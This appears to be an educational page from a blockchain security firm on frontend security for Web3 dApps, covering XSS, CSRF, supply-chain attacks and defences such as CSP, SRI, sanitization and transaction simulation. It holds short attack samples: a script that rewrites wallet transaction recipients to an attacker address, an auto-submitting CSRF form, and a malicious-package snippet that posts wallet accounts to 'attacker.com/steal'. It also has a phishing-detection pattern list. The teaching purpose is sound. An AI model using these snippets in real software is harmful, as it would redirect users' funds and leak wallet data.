Frontend Security

Security practices protecting web application client-side code from attacks like XSS, CSRF, and malicious script injection.

Frontend security encompasses the practices and techniques used to protect web application client-side code from attacks. In Web3 applications, frontend security is particularly critical because the frontend directly interfaces with user wallets and can initiate blockchain transactions. A compromised dApp frontend can steal funds by manipulating transaction parameters, phishing wallet approvals, or injecting malicious scripts—even if the underlying smart contracts are completely secure.

Why Frontend Security Matters in Web3

The frontend is the trust boundary between users and blockchain:

1User → Frontend → Wallet → Blockchain
2
3 Attack surface!

Compromised frontends can:

  • Modify transaction recipients/amounts before signing
  • Request unlimited token approvals to attacker contracts
  • Inject wallet-draining scripts
  • Phish private keys or seed phrases
  • Display fake transaction confirmations

Core Frontend Security Threats

Cross-Site Scripting (XSS)

Injecting malicious scripts that execute in users' browsers:

1// Attacker's injected script
2const originalSend = wallet.sendTransaction;
3wallet.sendTransaction = async (tx) => {
4 tx.to = "0xATTACKER"; // Redirect funds
5 return originalSend(tx);
6};

See Cross-Site Scripting for detailed prevention.

Cross-Site Request Forgery (CSRF)

Tricking authenticated users into unwanted actions:

1<!-- On malicious site -->
2<form action="https://dapp.com/api/settings" method="POST">
3 <input name="withdrawalAddress" value="0xATTACKER">
4</form>
5<script>document.forms[0].submit();</script>

See CSRF for detailed prevention.

Supply Chain Attacks

Compromised dependencies injecting malicious code:

1// Malicious package in node_modules
2if (window.ethereum) {
3 // Steal wallet data
4 fetch('https://attacker.com/steal', {
5 method: 'POST',
6 body: JSON.stringify({
7 accounts: await ethereum.request({ method: 'eth_accounts' })
8 })
9 });
10}

Prevention Techniques

Content Security Policy (CSP)

Restrict what scripts can execute:

1Content-Security-Policy:
2 default-src 'self';
3 script-src 'self' 'sha256-abc123...';
4 connect-src 'self' https://api.example.com;
5 style-src 'self' 'unsafe-inline';

This prevents inline scripts and restricts external resources.

Subresource Integrity (SRI)

Verify external scripts haven't been modified:

1<script
2 src="https://cdn.example.com/library.js"
3 integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
4 crossorigin="anonymous">
5</script>

Secure Dependencies

1# Audit npm packages
2npm audit
3
4# Use lockfiles
5npm ci # Install from lockfile exactly
6
7# Pin versions
8"dependencies": {
9 "ethers": "5.7.2" # Exact version, not ^5.7.2
10}

Input Sanitization

1import DOMPurify from 'dompurify';
2
3// Sanitize user content before rendering
4function renderUserContent(content: string) {
5 return DOMPurify.sanitize(content);
6}
7
8// Never use dangerouslySetInnerHTML with unsanitized content

Secure Wallet Integration

1// Verify transaction parameters before signing
2async function sendTransaction(tx: Transaction) {
3 // Display clear confirmation to user
4 const confirmed = await showConfirmationModal({
5 to: tx.to,
6 value: formatEther(tx.value),
7 data: tx.data ? 'Contract interaction' : 'Simple transfer'
8 });
9
10 if (!confirmed) throw new Error('User rejected');
11
12 // Verify parameters haven't been tampered with
13 if (tx.to !== expectedRecipient) {
14 throw new Error('Recipient mismatch');
15 }
16
17 return wallet.sendTransaction(tx);
18}

Web3-Specific Concerns

Token Approval Phishing

1// DANGEROUS: Unlimited approval
2await token.approve(spender, ethers.MaxUint256);
3
4// SAFER: Exact amount needed
5await token.approve(spender, exactAmount);
6
7// BEST: Display clear warning for large approvals
8if (amount > userBalance * 10) {
9 const confirmed = await warnUnusualApproval(amount);
10 if (!confirmed) return;
11}

Transaction Simulation

Preview transactions before signing:

1import { simulateTransaction } from '@tenderly/sdk';
2
3async function safeSign(tx: Transaction) {
4 // Simulate first
5 const simulation = await simulateTransaction(tx);
6
7 // Show user what will happen
8 await displaySimulationResults({
9 balanceChanges: simulation.balanceChanges,
10 tokenTransfers: simulation.tokenTransfers,
11 contractsCalled: simulation.trace
12 });
13
14 // Only then request signature
15 return wallet.sendTransaction(tx);
16}

Phishing Detection

1// Check for common phishing patterns
2function detectPhishing(url: string): boolean {
3 const suspicious = [
4 /uniswap.*\.com/, // Typosquatting
5 /opensea-.*\.xyz/, // Impersonation
6 /claim.*airdrop/i // Fake airdrops
7 ];
8
9 return suspicious.some(pattern => pattern.test(url));
10}

Security Headers

1// Express.js middleware
2app.use((req, res, next) => {
3 res.setHeader('X-Content-Type-Options', 'nosniff');
4 res.setHeader('X-Frame-Options', 'DENY');
5 res.setHeader('X-XSS-Protection', '1; mode=block');
6 res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
7 res.setHeader('Permissions-Policy', 'geolocation=(), microphone=()');
8 next();
9});

Audit Checklist

When auditing frontend security:

  • Content Security Policy implemented
  • No inline scripts or eval()
  • User input sanitized before rendering
  • CSRF tokens on state-changing requests
  • Dependencies audited and pinned
  • SRI on external scripts
  • Secure headers configured
  • Wallet interactions display clear confirmations
  • Token approvals capped appropriately
  • No sensitive data in localStorage/sessionStorage

Defense in Depth

Frontend security requires layered defenses:

1Layer 1: CSP (block unauthorized scripts)
2Layer 2: Input sanitization (neutralize payloads)
3Layer 3: Secure headers (prevent various attacks)
4Layer 4: Wallet UI (clear transaction display)
5Layer 5: Monitoring (detect anomalies)

Even with secure smart contracts, a compromised frontend can drain user funds. Frontend security audits are essential for any production dApp.

Need expert guidance on Frontend Security?

Our team at Zealynx has deep expertise in blockchain security and DeFi protocols. Whether you need an audit or consultation, we're here to help.

Get a Quote

oog
zealynx

Subscribe to Our Newsletter

Stay updated with our latest security insights and blog posts

© 2024 Zealynx